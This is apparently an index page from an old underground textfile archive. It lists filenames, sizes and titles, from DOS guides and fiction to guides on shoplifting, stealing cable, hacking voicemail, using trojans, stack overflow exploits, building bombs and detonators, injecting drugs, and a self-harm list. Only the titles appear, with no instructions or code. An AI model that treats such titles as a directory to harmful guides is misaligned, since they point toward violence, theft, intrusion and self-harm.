<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="realc--2.txt">realc--2.txt</A> <tab to=T><TD> 4928<BR><TD> The Real C-- Coder's Guide (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="realdos.txt">realdos.txt</A> <tab to=T><TD> 8350<BR><TD> The Real DOS User's Guide (Release 3) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="realdos3.txt">realdos3.txt</A> <tab to=T><TD> 19061<BR><TD> The Real DOS User's Guide (Release 3) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="religideas.txt">religideas.txt</A> <tab to=T><TD> 4345<BR><TD> My Ideas on Catholicsm and Christianity, by Frontier Psychiatrist
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="revengebp.txt">revengebp.txt</A> <tab to=T><TD> 23435<BR><TD> Techniques for Revenge by Phone, by Captain B (June 11, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ripoffcc.txt">ripoffcc.txt</A> <tab to=T><TD> 1334<BR><TD> The Easy Guide to Ripping Off Cable Companies, by Pepsi of The Thieves (May 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ripschool.ana">ripschool.ana</A> <tab to=T><TD> 698<BR><TD> Ripping Off Your School, by Captain Black (September, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="rmexploit.txt">rmexploit.txt</A> <tab to=T><TD> 546<BR><TD> A Great Little RM Exploit, by iCyDaVe (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="rockhurl.txt">rockhurl.txt</A> <tab to=T><TD> 2973<BR><TD> Making a Rock Hurler, by Jeffro (June 11, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="rolljoint.txt">rolljoint.txt</A> <tab to=T><TD> 933<BR><TD> How to Roll a Joint, by SkyHighaTrist (June, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="root.txt">root.txt</A> <tab to=T><TD> 8829<BR><TD> What a Root Can Do To You, by The Maniac (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="royster.txt">royster.txt</A> <tab to=T><TD> 208589<BR><TD> The Oysterville Inheritance, by Andy Thomas (Fiction) (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="run_away.txt">run_away.txt</A> <tab to=T><TD> 4419<BR><TD> How to Successfully Run Away from Home, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ruzz-aqua.txt">ruzz-aqua.txt</A> <tab to=T><TD> 9689<BR><TD> Ruzsland: Aquatic Antics and Other Fun Around Water, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ruzz-economy.txt">ruzz-economy.txt</A> <tab to=T><TD> 4131<BR><TD> Ruzsland: The Ruzsland Economy, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ruzz-fish.txt">ruzz-fish.txt</A> <tab to=T><TD> 5654<BR><TD> Ruzsland: Fish Watching, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ruzz-homestead.txt">ruzz-homestead.txt</A> <tab to=T><TD> 2498<BR><TD> Ruzsland: Homestead Gardening, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ruzz-rambo.txt">ruzz-rambo.txt</A> <tab to=T><TD> 8921<BR><TD> Ruzsland: RAMBO: Ruzz' Awesome Mighty Braun Outdoors, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="satanic.txt">satanic.txt</A> <tab to=T><TD> 3061<BR><TD> Some Satanic Points, by Sick66 (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sawed-off.txt">sawed-off.txt</A> <tab to=T><TD> 5714<BR><TD> Sawed off Shotguns by Zero (March 27, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="scanning1.txt">scanning1.txt</A> <tab to=T><TD> 16262<BR><TD> The Official Guide to Exchange Scanning by The Mob Boss (December 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="school.txt">school.txt</A> <tab to=T><TD> 6914<BR><TD> Things Not to Do In School, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="school2.txt">school2.txt</A> <tab to=T><TD> 2981<BR><TD> Things Not to Do In School, by MassExodus (February, 2004) (Second Revision)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="schoolfunpl.txt">schoolfunpl.txt</A> <tab to=T><TD> 3341<BR><TD> Fun Stuff to Do at School, by Buttschitt (July 9, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="schoolvista.txt">schoolvista.txt</A> <tab to=T><TD> 2529<BR><TD> Some Discoveries about the Schoolvista Program, by Lightning Clip (May, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="scrapwithstyle.txt">scrapwithstyle.txt</A> <tab to=T><TD> 4110<BR><TD> How to Scrap with Style, by Cin (September 15, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sdf.txt">sdf.txt</A> <tab to=T><TD> 3473<BR><TD> The SDF Public Access UNIX System Celebrates 20 Years! by Stephen Jones (June 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sellin.txt">sellin.txt</A> <tab to=T><TD> 985<BR><TD> Selling Oregano, by Hammer and Nail (January 17, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="seriescl.txt">seriescl.txt</A> <tab to=T><TD> 4848<BR><TD> Some New Classes of TV Series by Burnin' of UNKNOWN Prez (November 25th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="seth.txt">seth.txt</A> <tab to=T><TD> 6413<BR><TD> The Story of Seth, by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sf2move.lst">sf2move.lst</A> <tab to=T><TD> 2144<BR><TD> Street Fighter 2 Movelist by SuperMarioBro (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="shares.txt">shares.txt</A> <tab to=T><TD> 3273<BR><TD> A Windows Open Share Hack, by Phreak 2000
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="shell.text">shell.text</A> <tab to=T><TD> 1680<BR><TD> A Shot Gun Shell Explosive, by Incendie (April 5, 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="shells">shells</A> <tab to=T><TD> 3101<BR><TD> Word = Force x Distance, by Drugabuser, aka Trent
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="shootup.txt">shootup.txt</A> <tab to=T><TD> 7534<BR><TD> How to Shoot Up, by Zero (August 13, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="shoplifta.txt">shoplifta.txt</A> <tab to=T><TD> 1502<BR><TD> How to Shoplift, from Insane Killa (July 7, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="shoutcast.txt">shoutcast.txt</A> <tab to=T><TD> 5926<BR><TD> Creating an Internet Radio Station using Shoutcast, by NeonSavior (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="shrapnel.txt">shrapnel.txt</A> <tab to=T><TD> 1054<BR><TD> A Homemade Shrapnel Bomb, by Yblad (July, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="simple_bang.txt">simple_bang.txt</A> <tab to=T><TD> 619<BR><TD> Simple Bang, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="skipschool.txt">skipschool.txt</A> <tab to=T><TD> 1450<BR><TD> 10 Reasons to Skip School, by John Dough (October 7, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="skullbones.txt">skullbones.txt</A> <tab to=T><TD> 1301<BR><TD> Skull and Bones, by Acid Pool (February 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sleepbox.txt">sleepbox.txt</A> <tab to=T><TD> 1643<BR><TD> Building a Sleep Box (A Modified Busy Box) by Sysburn (July, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="slug_torture.txt">slug_torture.txt</A> <tab to=T><TD> 2075<BR><TD> Ways to Kill and Torture a Slug, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="smallown.txt">smallown.txt</A> <tab to=T><TD> 3533<BR><TD> Having Fun in your Small Town, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="smokedark.txt">smokedark.txt</A> <tab to=T><TD> 1383<BR><TD> The Toxic Smoke Bomb, by D(A)rk (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="snowman.txt">snowman.txt</A> <tab to=T><TD> 2399<BR><TD> The Snowman, by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="soaps.txt">soaps.txt</A> <tab to=T><TD> 3399<BR><TD> The Recipe to Writing Soap Opera Schenarios (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="social_rules.txt">social_rules.txt</A> <tab to=T><TD> 947<BR><TD> Ten Rules for a Pure Socialistic Society by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="socialeng.txt">socialeng.txt</A> <tab to=T><TD> 8538<BR><TD> Social Engineering by RaT of SoldierX.com, Blackcode.com, LoTD (April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="soda_bomb.txt">soda_bomb.txt</A> <tab to=T><TD> 651<BR><TD> A SOda Bomb, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sodamach.txt">sodamach.txt</A> <tab to=T><TD> 2874<BR><TD> Vending Machine Hacking for the New Millenium by C0de-kid (July 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sodamachine.txt">sodamachine.txt</A> <tab to=T><TD> 1235<BR><TD> The Free Money Portal by Fruit (Opening Soda Machines for Profit) (July 8, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sodascam.txt">sodascam.txt</A> <tab to=T><TD> 2047<BR><TD> The Soda Scam, from the Bin of Trash (May 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="somekid.txt">somekid.txt</A> <tab to=T><TD> 1500<BR><TD> The Story of Some Kid, by Manny Jordan (January 28, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="somenothing.txt">somenothing.txt</A> <tab to=T><TD> 7606<BR><TD> Getting Something for Nothing, by Pepsi (May 19, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sonysupport.txt">sonysupport.txt</A> <tab to=T><TD> 1040<BR><TD> Sony Support Phone Numbers, by Acid Pool (December 11, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sphere.txt">sphere.txt</A> <tab to=T><TD> 180144<BR><TD> Lucid Dreaming (A Palimpsest) by Andy Thomas (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="spy.txt">spy.txt</A> <tab to=T><TD> 11030<BR><TD> Virtual Espionage: A Guide to Doing It and Protecting Yourself From It, by The Mob Boss (December 9, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ssnnew.txt">ssnnew.txt</A> <tab to=T><TD> 9084<BR><TD> The Structure of Social Security Numbers (May 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stacklinux.txt">stacklinux.txt</A> <tab to=T><TD> 13665<BR><TD> Stack Overflow Exploitation Demonstration for Linux by Jeremy Brown (December, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stdmanual.txt">stdmanual.txt</A> <tab to=T><TD> 7048<BR><TD> The STD Manual, by ParanoidXE (April 2, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stealbook.txt">stealbook.txt</A> <tab to=T><TD> 1708<BR><TD> Stealing Books from a Library, by Icey (July 1, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stealcable.txt">stealcable.txt</A> <tab to=T><TD> 2956<BR><TD> How to Steal Cable, by Blizzard/One
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stealthistex">stealthistex</A> <tab to=T><TD> 22518<BR><TD> Steal This Textfile! by Pavement (February 19, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stealwifi.txt">stealwifi.txt</A> <tab to=T><TD> 2277<BR><TD> Stealing Wifi, by DNMEBOY (April 21, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stfun00b.txt">stfun00b.txt</A> <tab to=T><TD> 8699<BR><TD> What the Fuck Happened to the Internet? A Rant by Tokachu (June 12, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stinkbomb.txt">stinkbomb.txt</A> <tab to=T><TD> 7224<BR><TD> The Idiot's Guide on How to Make a Simple, Cheap and Effective Stink Bomb, by K2 (August 20, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stopmob.txt">stopmob.txt</A> <tab to=T><TD> 4918<BR><TD> Stopping the Mob from Picking On You by Acidous (January 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="storyoflife.ans">storyoflife.ans</A> <tab to=T><TD> 9494<BR><TD> The Story of Life, by by Burebista (March 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stripchess.txt">stripchess.txt</A> <tab to=T><TD> 3258<BR><TD> The Official Rules of Strip Chess v1.1, by Ceribia and Keri (June, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="strongpwd.txt">strongpwd.txt</A> <tab to=T><TD> 6043<BR><TD> Creating and Using Strong Passwords, by Less Than Zero (Version 0.1) (December 5, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="studio.txt">studio.txt</A> <tab to=T><TD> 4903<BR><TD> Fart Blossom's Home Studio Tips (February 25, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="studyguide.txt">studyguide.txt</A> <tab to=T><TD> 2459<BR><TD> Making Money at School with Study Guides, by LOD-Black Manta (June 1, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stungun.txt">stungun.txt</A> <tab to=T><TD> 1988<BR><TD> Introducing the Mini Stun by Remanufacture (July 9, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="supertarget.txt">supertarget.txt</A> <tab to=T><TD> 74029<BR><TD> Stealing SuperTarget: How to Hit the Bullseye, by Xap (November 28, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sweat.txt">sweat.txt</A> <tab to=T><TD> 2473<BR><TD> How to Sweat: A Guide to Sweating, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tags.txt">tags.txt</A> <tab to=T><TD> 7559<BR><TD> Defeating Shoplifting Security Tags, by Oran (June 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tcom_router.txt">tcom_router.txt</A> <tab to=T><TD> 43030<BR><TD> T-COM Linux Router Security: The T-Com Speedport W 500 V, by Anon (January 13, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="te2000.txt">te2000.txt</A> <tab to=T><TD> 6073<BR><TD> The Amtel 2000 Tele-Entry System by Jenn (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="teleconferences.txt">teleconferences.txt</A> <tab to=T><TD> 4988<BR><TD> Information on Teleconferences, by Akurei (January 3, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="telemarketers.txt">telemarketers.txt</A> <tab to=T><TD> 2070<BR><TD> Telemarketer Revenge by Dizzie 2000
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="termhack.txt">termhack.txt</A> <tab to=T><TD> 6423<BR><TD> Terminal Hacking Part 1 and Part 2, by OttrE (April 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tfileone.txt">tfileone.txt</A> <tab to=T><TD> 2609<BR><TD> How to Trash a Bitch's Yard, by CyPrUsStOrM (November, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tflingerie.txt">tflingerie.txt</A> <tab to=T><TD> 755<BR><TD> Toll Free Lingerie Number Listing, by Acid Pool (December 12, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="thandbook.txt">thandbook.txt</A> <tab to=T><TD> 16527<BR><TD> The Thieves' Handbook, by Pepsi (May 19, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="thanx.txt">thanx.txt</A> <tab to=T><TD> 2762<BR><TD> Hey, a Big Thank You From Shadowwolf (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="the.antithesis.txt">the.antithesis.txt</A> <tab to=T><TD> 156433<BR><TD> The Antithesis, A Novel by Sam Johnson (April, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="thefarmer.txt">thefarmer.txt</A> <tab to=T><TD> 1670<BR><TD> The Farmer, by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="themexp.txt">themexp.txt</A> <tab to=T><TD> 2252<BR><TD> Cracking ThemeXP Setup Files, by Eminem (November 23, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="thepath.txt">thepath.txt</A> <tab to=T><TD> 15489<BR><TD> Following the True Path to Hacking, by Voya (July 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="thiefbook.txt">thiefbook.txt</A> <tab to=T><TD> 5685<BR><TD> How to Be a Successful Thief, by Syko Phreak of the ULA (June 20, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="thievery.txt">thievery.txt</A> <tab to=T><TD> 18156<BR><TD> The Handbook of Thievery v1.0 by Acidous (September 26, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="thievery2.txt">thievery2.txt</A> <tab to=T><TD> 34013<BR><TD> The Handbook of Thievery v2.0 by Acidous (May 24, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="time.txt">time.txt</A> <tab to=T><TD> 2217<BR><TD> Wasting Their Time, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="timebased.txt">timebased.txt</A> <tab to=T><TD> 529<BR><TD> Hacking Time Based Programs, by Acid Pool (February 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="timeddet.txt">timeddet.txt</A> <tab to=T><TD> 6370<BR><TD> How to Build a Cheap Timed Detonator, by Reuter Canine
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="timetravel.txt">timetravel.txt</A> <tab to=T><TD> 2090<BR><TD> Time Travel, by Acid Pool (February 6, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tobacco.txt">tobacco.txt</A> <tab to=T><TD> 2771<BR><TD> How to Cure Homegrown Tobacco by J (Anonymous) (January 21, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="toiletblow.txt">toiletblow.txt</A> <tab to=T><TD> 2876<BR><TD> Blowing Up a Toilet by Blizzard/six.blz
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="toiletsupersoaker.txt">toiletsupersoaker.txt</A> <tab to=T><TD> 1860<BR><TD> Toilet Super Soaker, written by Paininvmuthafuckinass (March 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tollfree.txt">tollfree.txt</A> <tab to=T><TD> 1896<BR><TD> A Collection of Toll Free Numbers, from Acid Pool (February 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tonspranks.txt">tonspranks.txt</A> <tab to=T><TD> 3796<BR><TD> COZMIC Presents: Tons-O-Pranks Volume 1 (December 2, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tontfile.txt">tontfile.txt</A> <tab to=T><TD> 6857<BR><TD> The Stagrific Stagman Synthesis, by Thought and Machine (October 26, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="toolkit.txt">toolkit.txt</A> <tab to=T><TD> 2778<BR><TD> The Anarchist's/Prankster's Toolkit, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tools.txt">tools.txt</A> <tab to=T><TD> 658<BR><TD> Tools and Accessories for Survival and More, by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="top_5_japan.txt">top_5_japan.txt</A> <tab to=T><TD> 515<BR><TD> Top 5 Ways the Nuclear Bomb Dropped on Hiroshima Helped Japan, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="top_ten_kill.txt">top_ten_kill.txt</A> <tab to=T><TD> 1318<BR><TD> Top Ten Reasons to kill Yourself, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="torture.txt">torture.txt</A> <tab to=T><TD> 5005<BR><TD> Household Torture Techniques, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="torturestory.txt">torturestory.txt</A> <tab to=T><TD> 11457<BR><TD> Cravings: A Torture Story, by Crescent Omega (February 10, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="toz.txt">toz.txt</A> <tab to=T><TD> 39215<BR><TD> ToZ' Trinkets by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="training.txt">training.txt</A> <tab to=T><TD> 2290<BR><TD> Training Your Army for Anarchy, by Pyromania (October 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="trains.txt">trains.txt</A> <tab to=T><TD> 2809<BR><TD> Fun With Trains, by SilenceR (July 31, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="trigmath.txt">trigmath.txt</A> <tab to=T><TD> 1361<BR><TD> A Basic Trigonomety Primer, by Navid (November 20, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="tripwireht.txt">tripwireht.txt</A> <tab to=T><TD> 1816<BR><TD> How to Make a Tripwire, by Killa Instinct (March 29, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="trojanports.txt">trojanports.txt</A> <tab to=T><TD> 8044<BR><TD> Trojan Ports Defined, by KGB (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="trojans.txt">trojans.txt</A> <tab to=T><TD> 8299<BR><TD> How to Use Trojan Horses, by The Maniac (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="truth.txt">truth.txt</A> <tab to=T><TD> 4395<BR><TD> The Reason for SoldierX and The Reason for Me, by Portwolf of Portwolf.com (July 31, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="twpyhr001.txt">twpyhr001.txt</A> <tab to=T><TD> 1820<BR><TD> Yet Another Telemarketer Revenge Tactic, by Jennifer Martino (March, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="twpyhr003.txt">twpyhr003.txt</A> <tab to=T><TD> 2413<BR><TD> Cities in Area Code 847 (March 27, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="twpyhr004.txt">twpyhr004.txt</A> <tab to=T><TD> 1105<BR><TD> Cities in Area Code 630 (March 27, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="twpyhr010.txt">twpyhr010.txt</A> <tab to=T><TD> 756<BR><TD> Real Life Hacking: Profitable Punishment, by Jennifer Martino (June 8, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ufisp.txt">ufisp.txt</A> <tab to=T><TD> 11194<BR><TD> Universal Guide to Free ISP's Via PPP by Amp of SoldierX.com (October, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ufosurvival.txt">ufosurvival.txt</A> <tab to=T><TD> 3634<BR><TD> UFO Survivalists, by The Dark Dominator (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ugotsrvd.txt">ugotsrvd.txt</A> <tab to=T><TD> 3840<BR><TD> The Inevitable Future of You Got Served, by Tokachu (June 12, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ukrfspec.txt">ukrfspec.txt</A> <tab to=T><TD> 66004<BR><TD> The Radio Spectrum: UK Allocations, by Meg Hertz (February 24, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uktv.txt">uktv.txt</A> <tab to=T><TD> 6732<BR><TD> British Television in 1000 Words, by Inkstersco (September 3, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ulockpen.txt">ulockpen.txt</A> <tab to=T><TD> 884<BR><TD> How to Open Bike Locks with a Bic Pen, by Wyll Dezyn (September, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="unbo.txt">unbo.txt</A> <tab to=T><TD> 4991<BR><TD> How to Un-Install Back Orifice 2000, by Mr. Thrips (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="undergroundw.txt">undergroundw.txt</A> <tab to=T><TD> 2381<BR><TD> A Warning to Other Pirates of the Underground, by Khaotic (August, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="underwater.txt">underwater.txt</A> <tab to=T><TD> 19089<BR><TD> Building an Underwater Base, by Acidous (December 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ureach.txt">ureach.txt</A> <tab to=T><TD> 4030<BR><TD> Free Calls with Ureach, by The Mob Boss (December 19, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vbox.txt">vbox.txt</A> <tab to=T><TD> 17198<BR><TD> Hacking Voice Mail Boxes by ic0n (June 12, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vending.txt">vending.txt</A> <tab to=T><TD> 3388<BR><TD> How to Rob Vending Machines, by Alex (October 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vending_machine_fun.txt">vending_machine_fun.txt</A> <tab to=T><TD> 1781<BR><TD> Vending Machine Fun, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vendingm.txt">vendingm.txt</A> <tab to=T><TD> 17835<BR><TD> Vending Machines, Payphones and Bill Changers, Compiled by Mustard (April 28, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="verizonconf.txt">verizonconf.txt</A> <tab to=T><TD> 6636<BR><TD> Verizon Teleconferencing, by k00p$sta Phr34k and ic0n (April, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vernamtut.txt">vernamtut.txt</A> <tab to=T><TD> 10013<BR><TD> A Guide to Vernam OTP Encruption Without a Computer, by Durandal of Soldierx.com (September, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vhscheap.txt">vhscheap.txt</A> <tab to=T><TD> 1920<BR><TD> How to Get VHS Tapes for Cheap, by Kingfisher (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="virus_writers.txt">virus_writers.txt</A> <tab to=T><TD> 1433<BR><TD> The 5 Most Common Types of Virus Writers, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="virustruth.txt">virustruth.txt</A> <tab to=T><TD> 6807<BR><TD> The Truth About Computer Viruses, by Darren Pierce (April 12, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vosd.txt">vosd.txt</A> <tab to=T><TD> 35320<BR><TD> Future Viruses and Operating System Devlopment by Nucleii (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="vote.txt">vote.txt</A> <tab to=T><TD> 5336<BR><TD> About Voting, by The Maniac (November 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wakingup.txt">wakingup.txt</A> <tab to=T><TD> 2086<BR><TD> Waking Up, for Tripe Magazine, by Wzd (September 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wardial.txt">wardial.txt</A> <tab to=T><TD> 5703<BR><TD> A Simple WAR DIALing SALT Script for Telix (Release 1) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="warez101.txt">warez101.txt</A> <tab to=T><TD> 2456<BR><TD> Warez 1.0.1 by KGB (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="watch_knife.txt">watch_knife.txt</A> <tab to=T><TD> 734<BR><TD> Watch Knife, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="waterfire.txt">waterfire.txt</A> <tab to=T><TD> 744<BR><TD> How to make a Water Bottle Flamethrower, by The Union (February 3, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="weedshake.txt">weedshake.txt</A> <tab to=T><TD> 1358<BR><TD> The Kozmic Milkshake, by Super (February 22, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wfp.txt">wfp.txt</A> <tab to=T><TD> 4578<BR><TD> Windows 2000 File Protection Explained, by ParanoidXE (May 16, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="whatanarchyis.txt">whatanarchyis.txt</A> <tab to=T><TD> 2490<BR><TD> What Anarchy Is, by Pyromaniac (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="why_edumasses.txt">why_edumasses.txt</A> <tab to=T><TD> 2190<BR><TD> Why Educate the Masses? by Neuro (September 28, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="whydos.txt">whydos.txt</A> <tab to=T><TD> 14627<BR><TD> Why You Should Use DOS (Release 3) by Burnin' of UNKNOWN Prez (October 16th, 2001)
